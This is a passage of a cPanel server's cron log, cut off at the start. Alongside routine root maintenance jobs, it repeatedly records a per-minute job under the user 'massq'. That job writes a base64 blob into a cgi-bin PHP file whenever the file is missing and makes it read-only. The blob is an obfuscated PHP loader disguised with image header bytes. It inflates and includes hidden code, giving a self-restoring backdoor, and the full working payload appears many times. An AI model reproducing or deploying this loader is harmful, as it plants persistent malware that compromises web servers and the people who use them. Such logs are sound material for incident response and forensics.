&quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 17:00:01 server CROND[7976]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov 15 17:00:01 server CROND[7977]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 15 17:00:01 server CROND[7979]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 17:00:01 server CROND[7981]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 15 17:01:01 server CROND[8302]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 17:01:01 server CROND[8303]: (root) CMD (run-parts /etc/cron.hourly)
Nov 15 17:01:01 server run-parts(/etc/cron.hourly)[8303]: starting 0anacron
Nov 15 17:01:01 server run-parts(/etc/cron.hourly)[8315]: finished 0anacron
Nov 15 17:02:01 server CROND[8606]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 17:03:01 server CROND[9092]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 17:04:01 server CROND[9364]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 17:05:01 server CROND[9626]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2&gt;&amp;1)
Nov 15 17:05:01 server CROND[9628]: (root) CMD (/usr/local/cpanel/bin/autossl_check --all)
Nov 15 17:05:01 server CROND[9630]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 17:05:01 server CROND[9631]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 15 17:05:01 server CROND[9629]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 15 17:06:01 server CROND[9955]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 17:07:01 server CROND[10263]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 17:08:01 server CROND[10514]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 17:09:01 server CROND[10880]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 17:09:01 server CROND[10881]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions &gt; /dev/null 2&gt;&amp;1)
Nov 15 17:10:01 server CROND[11188]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 15 17:10:01 server CROND[11190]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 15 17:10:01 server CROND[11189]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov 15 17:10:01 server CROND[11191]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 17:11:01 server CROND[11516]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
